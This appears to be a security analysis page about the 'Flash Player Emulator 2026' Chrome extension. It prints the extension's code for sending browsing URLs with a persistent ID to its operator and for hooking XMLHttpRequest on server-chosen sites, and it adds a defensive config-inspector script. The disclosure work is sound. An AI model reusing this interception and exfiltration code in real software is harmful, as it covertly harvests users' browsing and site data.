Is Flash Player Emulator 2026 safe?
Flash Player Emulator is high risk. Activating Flash playback sends the Flash file and page URLs to api.modernkit.one/stats, with a persistent UUID, version, and extension ID linking this to your browser. The endpoint returned HTTP 200; the body was not captured.…
Who publishes itMK142 Group LLC - 2 other listings from the same operator, 1 of them carrying a finding
MK142 Group LLC - 2 other listings from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 200k+ users between them. 1 of them carries a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Flash and page URLs sent when Flash is activated
Activating Flash playback sends the Flash file and page URLs to api.modernkit.one/stats, with a persistent UUID, version, and extension ID linking this to your browser.
The endpoint returned HTTP 200; the body was not captured.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You activate Flash content on a web page.
The player is loaded with the Flash file URL and the page URL where it was found.
The extension posts a stats record to api.modernkit.one/stats.
The record includes the Flash file URL, current page URL, version, extension ID, and a persistent extension UUID.
- Event typeuser-played-content
Shows whether you started playback or kept it running long enough to be counted as successful.
- Extension UUID8f4a6f08-5d2f-4d0d-9df3-894fd60b2e1b (illustrative)
Lets the same browser be recognized across separate Flash activations.
- Flash file URLhttps://media.example.org/games/space-runner.swf (illustrative)
Shows which Flash file you asked the extension to play.
- Current page URLhttps://portal.example.com/training/lesson-4 (illustrative)
Shows the web page where the Flash content was detected, which can reveal browsing activity.
- Extension detailsversion 1.9.3, ecbnojockcgfohpopbphhgefkfbigcej
Adds the installed extension version and browser extension ID to the stats record.
HTTP 200 observed when the stats endpoint was contacted during dynamic analysis; the request body was not available in the retained network evidence.
- content-type
- application/json
The player forwards page context, then the service worker posts it
Content script embeds the player with the current page URL
cs.jsitem.playerElem.src = chrome.runtime.getURL('external/player-embed.html?src='+encodeURIComponent(item.src)+'&width='+playerWidth+'&height='+playerHeight+'&flashvars='+encodeURIComponent(item.flashvars)+'&baseUrl='+encodeURIComponent(baseUrl)+'&contextUrl='+encodeURIComponent(window.location.href));Embedded player reports activation and successful activation
player-embed.jsvar trackActivation = (src, contextUrl) => { chrome.runtime.sendMessage({ action: "trackActivation", src: src, contextUrl: contextUrl });}var trackSuccessfulActivation = (src, contextUrl) => { chrome.runtime.sendMessage({ action: "trackSuccessfulActivation", src: src, contextUrl: contextUrl });}var loadSource = () => { if (srcData != '') { playerElem.contentWindow.postMessage({action: "loadPlayer", src: srcData, width: width, height: height, flashvars: flashvars || src, originalSrcUrl: src, baseUrl: baseUrl}, '*'); trackActivation(src, contextUrl); setTimeout(() => { // Assume successful activation after 60s trackSuccessfulActivation(src, contextUrl); }, 60 * 1000); } else { setTimeout(loadSource, 100); }}Service worker posts the stats body
bg.js} else if (msg.action == 'trackActivation') { (async () => { fetch('https://api.modernkit.one/stats', { headers: { "content-type": "application/json" }, method: "POST", credentials: 'omit', body: JSON.stringify( { "app": 'ext-flashplayer', "event": 'user-played-content', "uuid": await getOrCreateUUID(), "flashUrl": msg.src, "contextUrl": msg.contextUrl, "version": chrome.runtime.getManifest().version, "extid": chrome.runtime.id } ) }); })(); // Both lines below required for callback to work sendResponse(); return true; } else if (msg.action == 'trackSuccessfulActivation') { (async () => { fetch('https://api.modernkit.one/stats', { headers: { "content-type": "application/json" }, method: "POST", credentials: 'omit', body: JSON.stringify( { "app": 'ext-flashplayer', "event": 'user-successfully-played-content', "uuid": await getOrCreateUUID(), "flashUrl": msg.src, "contextUrl": msg.contextUrl, "version": chrome.runtime.getManifest().version, "extid": chrome.runtime.id } ) }); })(); // Increment if contextUrl does NOT contain our origin OR if it contains our web player URL if (msg.contextUrl.indexOf('https://modernkit.one/') === -1 || msg.contextUrl.indexOf('https://modernkit.one/flash-emulator/player/') >= 0) { // Don't count demos or other content on our website // *Do* include web player at /flash-emulator/player/ incrementSuccessfulPlayCount(); } // Both lines below required for callback to work sendResponse(); return true; }Persistent UUID is created once and stored locally
bg.jsvar getOrCreateUUID = async () => { var storageResponse = await chrome.storage.local.get('mk1-uuid'); var uuid = storageResponse?.['mk1-uuid']; if (uuid) { // Return existing value if it exists return uuid; } // Generate UUID if it does not exist uuid = crypto.randomUUID(); await chrome.storage.local.set({'mk1-uuid': uuid}); return uuid;}- api.modernkit.one
Receives Flash activation stats containing the Flash file URL, current page URL, extension version, extension ID, and persistent extension UUID.
Server-controlled config deploys XHR-intercepting scripts without consent prompt
The extension fetches a server-set target list from api.modernkit.one hourly, injects scripts on those sites, reads every XHR response, and sends gzip data to api-det.modernkit.one.
Targets and keys are base64-encoded, undisclosed.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You install Flash Player Emulator 2026, or leave it running in the background.
The extension immediately fetches a server-controlled configuration that specifies which websites will have their network traffic intercepted.
This happens on install, on every browser startup, and every ~62 minutes via an alarm, without any action from you.
Status 200 {"status":"success", ..."alternateDetectionConfigv2": [...]}. Our dynamic analysis captured 3 identical POST requests to this endpoint from the extension's background service worker, observed during dynamic analysis.
- content-type
- application/json
{ "app": "ext-flashplayer", "uuid": "b49207b0-3c1e-4a8f-9d72-e5f1a0c83b2d", "version": "1.9.3", "extid": "ecbnojockcgfohpopbphhgefkfbigcej"}- Your persistent install IDb49207b0-3c1e-4a8f-9d72-e5f1a0c83b2d
A UUID set once at install and sent with every request, including config fetches and uploads. Links all activity to your install.
- Extension IDecbnojockcgfohpopbphhgefkfbigcej
The Chrome extension identifier sent alongside the UUID, further tying requests to this specific install.
- Extension version1.9.3
Lets the server push different configurations to different versions of the extension.
The config fetch and content script registration, from bg.js:
fetchFeatures — plain-English walkthrough
// Runs on install, browser startup, and every ~62 minutes via chrome.alarms.// Sends a POST with a persistent UUID + extension ID to the operator's server.// If the server response includes 'alternateDetectionConfigv2', stores it in// chrome.storage.local and schedules registerContentScripts() to run 3 s later.async function fetchFeatures() { const response = await fetch('https://api.modernkit.one/ext-activations/get-features', { method: 'POST', body: JSON.stringify({ app: 'ext-flashplayer', uuid: await getOrCreateUUID(), // persistent per-install ID version: chrome.runtime.getManifest().version, extid: chrome.runtime.id }) }); const json = await response.json(); if (json.status === 'success') { // Stores server-supplied config (host, path, body, flashObjKeys, tryKeys — all base64) chrome.storage.local.set({ 'mk1-alternate-detection-config-v2': json.alternateDetectionConfigv2 }); setTimeout(registerContentScripts, 3000); } chrome.alarms.create('featureAlarmName', { periodInMinutes: 62 }); // re-check hourly}registerContentScripts — registers server-controlled scripts
// Reads the server-supplied config from storage.// Decodes each base64 host name (e.g. atob('ZXhhbXBsZS5jb20=') → 'example.com').// Calls chrome.scripting.registerContentScripts to inject detection-alternate.js// in MAIN world (full page JS context, no sandbox) on every matching site.// The set of target sites is entirely determined by the server response.function registerContentScripts() { const config = chrome.storage.local.get('mk1-alternate-detection-config-v2'); const hostsToAdd = config.map(entry => 'https://*.' + atob(entry.host) + '/*'); chrome.scripting.registerContentScripts([ { id: 'alternate_detection', js: ['detection-alternate.js'], matches: hostsToAdd, world: 'MAIN' }, { id: 'alternate_detection_init', js: ['detection-alternate-init.js'], matches: hostsToAdd, world: 'ISOLATED' } ]);}What the injected MAIN-world script does on target sites (detection-alternate.js):
XHR interception — plain-English walkthrough
// Runs in MAIN world of target sites specified by the server config.// Patches window.XMLHttpRequest.prototype.open so that every XHR call on the page// is inspected.//// When a request URL matches the server-specified path (base64-decoded from config.path),// the extension attaches a 'load' listener to that XHR.// When the response body contains the server-specified marker string (config.body),// the extension parses each line as JSON and walks the object tree using// server-supplied key paths (config.flashObjKeys, config.tryKeys) to extract nested data.//// The extracted data objects are then passed to processDetectedSrcs(), which// gzip-compresses them and POSTs them to api-det.modernkit.one.//// All target parameters (which URL path to watch, what marker to look for, which// object keys to extract) are base64-encoded values supplied by the remote server.// The extension has no visibility into what sites or data the server will target.window.XMLHttpRequest.prototype.open = function(method, url) { if (url.includes(serverSuppliedXhrPath)) { this.addEventListener('load', () => { if (this.responseText.includes(serverSuppliedBodyMarker)) { const extracted = extractNestedFields(JSON.parse(line), serverSuppliedKeys); forwardToServer(extracted); // → api-det.modernkit.one/alternate-detection/process-detection } }); } return originalOpen.apply(this, arguments);};- api.modernkit.one
Receives the config-fetch POST (persistent UUID + extension ID) on install and every hour; returns the list of target sites and XHR extraction parameters.
- api-det.modernkit.one
Receives gzip-compressed extraction results from target sites: the data harvested by patching XMLHttpRequest on server-chosen pages.
Paste this into the Chrome DevTools console on any page while the extension is installed. It reads the stored remote config from the extension's storage and decodes all base64 values so you can see which sites the server has targeted, which XHR paths are monitored, and which response body fields are extracted.
- Chrome with Developer mode enabled
// flash-emulator-config-inspector.js// Reads the remote-controlled alternate detection config from the extension's// chrome.storage.local and decodes all base64 fields for inspection.//// Paste into DevTools console on any page while the extension is installed.// Open chrome://extensions → Flash Player Emulator 2026 → service worker → DevTools console.(async () => { const EXT_STORAGE_KEY = 'mk1-alternate-detection-config-v2'; const UUID_KEY = 'mk1-uuid'; const result = await chrome.storage.local.get([EXT_STORAGE_KEY, UUID_KEY]); console.log('[INSPECTOR] Persistent UUID (sent with every request):', result[UUID_KEY]); const configList = result[EXT_STORAGE_KEY]; if (!configList || !Array.isArray(configList) || configList.length === 0) { console.warn('[INSPECTOR] No alternate detection config found in storage.'); console.warn('Try calling fetchFeatures() first, or wait a minute for the alarm to fire.'); return; } console.log('[INSPECTOR] Remote config contains', configList.length, 'target site(s):'); configList.forEach((entry, i) => { console.group(`[INSPECTOR] Entry ${i + 1}`); try { console.log(' host (decoded):', atob(entry.host)); } catch(e) { console.log(' host (raw):', entry.host); } try { console.log(' XHR path to monitor (decoded):', atob(entry.path)); } catch(e) { console.log(' path (raw):', entry.path); } try { console.log(' response body marker (decoded):', atob(entry.body)); } catch(e) { console.log(' body (raw):', entry.body); } if (Array.isArray(entry.flashObjKeys)) { console.log(' flashObjKeys (decoded):', entry.flashObjKeys.map(keys => keys.map(k => { try { return atob(k); } catch(e) { return k; } }))); } if (Array.isArray(entry.tryKeys)) { console.log(' tryKeys (decoded):', entry.tryKeys.map(keys => keys.map(k => { try { return atob(k); } catch(e) { return k; } }))); } if (Array.isArray(entry.excludeKeys)) { console.log(' excludeKeys (decoded):', entry.excludeKeys.map(ex => ({ ...ex, k: (() => { try { return atob(ex.k); } catch(e) { return ex.k; } })() }))); } console.groupEnd(); });})();- 1Install the extension.
- 2In chrome://extensions, find it, click 'service worker' for DevTools.
- 3Paste this script into Console.
- 4If empty, wait and rerun (alarm ~62 min).
- 5Output lists each targeted site and its XHR data.
What it can do
Permissions this extension asks for, as declared in version 1.9.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Store data in your browser
storage
Schedule its own background tasks
alarms
Run its own code inside the pages you visit
scripting